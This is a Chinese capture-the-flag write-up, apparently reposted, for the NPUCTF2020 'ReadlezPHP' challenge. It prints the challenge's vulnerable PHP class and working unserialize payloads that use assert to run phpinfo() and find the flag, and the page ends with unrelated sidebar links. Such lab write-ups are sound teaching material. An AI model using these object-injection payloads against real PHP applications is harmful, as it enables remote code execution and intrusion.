当前位置:网站首页>[NPUCTF2020]ReadlezPHP
[NPUCTF2020]ReadlezPHP
2022-07-06 09:15:00 【Her&mes】
WP
如有不对,还请指正
进入靶机环境,走流程:
1.看源码
2.手动尝试访问几个常见的网页名,
3.用dirsearch扫网站。
直接在源码中发现一个链接:
<p>百万前端的NPU报时中心为您报时:<a href="./time.php?source"></a></p>
访问/time.php?source
,这下进入题目大门了,白盒审计,看起来是一道比较简单的反序列化
白盒代码:
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
尝试构造payload
/time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:4:"eval";}
然后就没有然后了,页面回显“500,无法处理请求”,我无了,有过滤,那换代码,构造payload
/time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:12:"var_dump(10)";s:1:"b";s:4:"eval";}
和之前一样,无法处理请求,可是var_dump()一般来讲应该不会被过滤,可能是eval被过滤,换成assert试试
/time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:12:"var_dump(10)";s:1:"b";s:6:"assert";}
成功,页面回显int(10) 2021-04-07 12:39:47
把var_dump(10)换成phpinfo(),(记得改大小),很好,phpinfo没有被过滤,看disable_functions栏,过滤了system,exec,shell_exec
再尝试搜索flag,ohhhhhhhhhh,还真有(这要是空过去了…论好习惯的重要性)。
PS:assert从7.2开始不再支持字符串=>不能执行PHP代码了(本题目在BUU上是PHP/7.0.33)
边栏推荐
猜你喜欢
Swagger, Yapi interface management service_ SE
About string immutability
Deoldify project problem - omp:error 15:initializing libiomp5md dll,but found libiomp5md. dll already initialized.
Learning question 1:127.0.0.1 refused our visit
Use dapr to shorten software development cycle and improve production efficiency
Did you forget to register or load this tag
Solve the problem of installing failed building wheel for pilot
[number theory] divisor
Introduction and use of automatic machine learning framework (flaml, H2O)
LeetCode #461 汉明距离
随机推荐
Learn winpwn (2) -- GS protection from scratch
Software testing and quality learning notes 3 -- white box testing
Attention apply personal understanding to images
安装numpy问题总结
Machine learning notes week02 convolutional neural network
02-项目实战之后台员工信息管理
Remember a company interview question: merge ordered arrays
Data dictionary in C #
[download app for free]ineukernel OCR image data recognition and acquisition principle and product application
Number game
连接MySQL数据库出现错误:2059 - authentication plugin ‘caching_sha2_password‘的解决方法
保姆级出题教程
软件测试与质量学习笔记3--白盒测试
Database advanced learning notes -- SQL statement
报错解决 —— io.UnsupportedOperation: can‘t do nonzero end-relative seeks
Windows下安装MongDB教程、Redis教程
ES6 let 和 const 命令
Principes JDBC
Why can't STM32 download the program
Install mongdb tutorial and redis tutorial under Windows